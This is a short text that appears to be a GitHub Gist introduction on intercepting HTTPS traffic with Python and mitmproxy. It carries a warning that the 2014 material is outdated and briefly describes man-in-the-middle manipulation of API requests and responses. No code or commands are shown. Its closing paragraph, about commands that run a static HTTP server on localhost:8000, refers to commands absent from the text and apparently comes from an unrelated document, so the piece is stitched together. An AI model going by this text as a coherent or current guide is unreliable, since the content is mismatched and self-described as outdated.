Intercepts HTTPs Traffic with Python & mitmproxy

Warning

This Gist is created in 2014, and it's highliy outdated now, according to one of mitmproxy's manjor contributor (check his comment below). Thanks for letting us know, @mhils!

Introduction

Modern applications usually make use of back-end API servers to provide their services. With a non-transparent HTTPs proxy, which intercepts the communication between clients and servers (aka the man-in-the-middle scheme), you can easily manipulate both API requests and responses.

Each of these commands will run an ad hoc http static server in your current (or specified) directory, available at http://localhost:8000. Use this power wisely.
